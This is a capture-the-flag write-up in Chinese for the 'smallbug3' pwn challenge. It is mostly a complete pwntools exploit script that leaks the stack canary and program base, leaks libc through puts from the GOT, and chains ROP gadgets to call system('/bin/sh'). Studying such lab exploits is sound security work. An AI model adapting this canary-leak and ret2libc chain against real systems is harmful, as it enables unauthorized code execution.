bug3
smallbug3
canary后两位一定是00,可以通过canary
找到。填充多少位,可以通过telescope 0x20
找到canary位置,再distance $rsi canary
找到。
canary小端序存储在内存中,就可以把开头两位00覆盖成'c',这样读到c,rjust00后就可以解出canary(我用 sendline,多发的一个''起到了填补\0 的效果,但自己一直没发现,卡了好久)。
程序基址可以用GDB中vmmap看,发现和跟着canary打出来的rbp前几位相同,我记得讲过开了地址随机化程序基址后三位也一定是000,所以可以根据rbp求出程序基址。
思路就是首先泄露出canary、程序基址前几位,然后puts泄露puts_got推出libc基址,第二个main就可以system("/bin/sh")了。
说是rbp可以用telescope看出和程序基址前几位相同,我又发现rbp下面一句: 0x7ffeadd0ec78 —▸ 0x7f68efcc6a87 (__libc_start_main+231) ◂— mov edi, eax
,如果能打印出它,连用 puts 泄露 got 表都不用,直接可以在libc里找**libc_start_main就能得到libc基址(GDB里算过了,是对的)。但因为rbp开头是0,所以想要不覆盖rbp而打出**libc_start_main+231是不可能的,本想着第二次main再打印,又EOF了好久,才发现第二次rbp下面不是这句了……不爽,还是想要通过这种方式算出libc基址,在它之后($rsi+0x118)又找到了_dl_init+118的地址,填充好了打半天出不来,才想起来canary也带\0,打印到canary就停止了不能再往前走了……
只好按部就班找system、bin/sh解出题目:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
io = process("./smallbug3") # , env = {"LD_PRELOAD" : "./libc-2.23.so"})
libc = ELF("./libc-2.27.so")
elf = ELF("./smallbug3")
pop_rdi = 0xb33 # ropper --file ./smallbug3 --search "pop | ret"
io.recvline()
io.sendline("-1")
io.recvline()
io.sendline('a' * 0x88) # 隐含地发送了第0x89个字符'\n',它会覆盖掉canary的最后一位
io.recvline('a\n')
canary = u64(io.recv(7).rjust(8, "\x00"))
elf_base = (u64(io.recv(6).ljust(8, "\x00")) >> 12) << 12
log.info("canary: " + hex(canary))
log.info("elf_base: " + hex(elf_base))
io.recvuntil("Leave some message for us:\n")
pop_rdi_real = elf_base + pop_rdi
main_addr_real = elf_base + 0x9cc
puts_got_real = elf_base + elf.got['puts']
puts_plt_real = elf_base + elf.plt['puts']
# 这里又忘了给pop_rdi加elf_base,又卡了好久SIGSEGV
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(puts_got_real) + p64(puts_plt_real) + p64(main_addr_real))
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym['puts']
sys_libc_real = libc.symbols["system"] + libc_base
binsh_libc_real = next(libc.search("/bin/sh")) + libc_base
log.info("libc_base: " + hex(libc_base))
log.info("-----------------------------------------------------")
log.info("第一次main函数之旅到此结束")
log.info("-----------------------------------------------------")
io.recvuntil("the length of your name:\n")
io.sendline("-1")
io.readline()
io.sendline('haha')
io.recvline()
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(binsh_libc_real) + p64(sys_libc_real))
io.interactive() # 眼看前面都没报错,可最后就是程序自动结束,才想起来忘了打interactive……